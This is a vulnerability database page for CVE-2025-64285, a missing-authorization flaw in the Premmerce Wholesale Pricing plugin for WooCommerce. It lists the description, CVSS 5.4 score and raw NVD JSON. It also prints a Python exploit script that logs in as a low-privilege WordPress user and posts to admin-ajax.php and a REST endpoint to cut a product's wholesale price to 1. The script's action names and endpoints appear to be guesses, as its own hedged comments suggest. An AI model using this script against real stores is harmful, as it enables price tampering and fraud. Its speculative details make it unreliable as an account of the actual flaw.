Security Vulnerability Report
中文
CVE-2025-64285 CVSS 5.4 MEDIUM

CVE-2025-64285

Published: 2025-10-29 09:15:46
Last Modified: 2026-04-27 16:16:40

Description

Missing Authorization vulnerability in Premmerce Premmerce Wholesale Pricing for WooCommerce premmerce-woocommerce-wholesale-pricing allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Premmerce Wholesale Pricing for WooCommerce: from n/a through <= 1.1.10.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Premmerce Wholesale Pricing for WooCommerce <= 1.1.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64285 PoC - Premmerce Wholesale Pricing Access Control Bypass # This PoC demonstrates the broken access control vulnerability # Requires: Valid WordPress account with low privileges (subscriber/contributor role) import requests import json TARGET_URL = "http://target-wordpress-site.com" ATTACKER_USERNAME = "low_privilege_user" ATTACKER_PASSWORD = "password123" def get_auth_cookie(): """Authenticate with WordPress and get session cookie""" login_url = f"{TARGET_URL}/wp-login.php" session = requests.Session() login_data = { 'log': ATTACKER_USERNAME, 'pwd': ATTACKER_PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) return session.cookies.get_dict() def exploit_broken_access_control(cookies): """Exploit the missing authorization vulnerability""" # Method 1: Direct admin-ajax.php manipulation endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Attempt to modify wholesale pricing without admin privileges # Replace PRODUCT_ID and NEW_PRICE with target values payload = { 'action': 'premmerce_wholesale_pricing_save', # Vulnerable action 'product_id': 'PRODUCT_ID', # Target product ID 'wholesale_price': 'NEW_PRICE', # Malicious price 'nonce': 'any_value' # Nonce may not be properly validated } response = requests.post(endpoint, data=payload, cookies=cookies) if response.status_code == 200: print("[+] Request sent successfully - Access control may be bypassed") print(f"[+] Response: {response.text}") # Method 2: REST API exploitation if available rest_endpoint = f"{TARGET_URL}/wp-json/premmerce/v1/wholesale-pricing" rest_payload = { 'product_id': 123, 'regular_price': 100, 'wholesale_price': 1 # Drastically reduced price } rest_response = requests.post( rest_endpoint, json=rest_payload, cookies=cookies, headers={'Content-Type': 'application/json'} ) print(f"[*] REST API Response: {rest_response.status_code}") return rest_response.json() if rest_response.text else None if __name__ == "__main__": print("[*] CVE-2025-64285 PoC - Premmerce Wholesale Pricing Broken Access Control") print("[*] Target: Premmerce Wholesale Pricing for WooCommerce <= 1.1.10") cookies = get_auth_cookie() if cookies: print("[+] Authentication successful") result = exploit_broken_access_control(cookies) else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64285", "sourceIdentifier": "[email protected]", "published": "2025-10-29T09:15:45.573", "lastModified": "2026-04-27T16:16:39.790", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Premmerce Premmerce Wholesale Pricing for WooCommerce premmerce-woocommerce-wholesale-pricing allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Premmerce Wholesale Pricing for WooCommerce: from n/a through <= 1.1.10."}, {"lang": "es", "value": "Vulnerabilidad por falta de autorización en Premmerce Premmerce Wholesale Pricing para WooCommerce premmerce-woocommerce-wholesale-pricing permite explotar niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Premmerce Wholesale Pricing para WooCommerce: desde n/a hasta menor igual que 1.1.10."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/premmerce-woocommerce-wholesale-pricing/vulnerability/wordpress-premmerce-wholesale-pricing-for-woocommerce-plugin-1-1-10-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}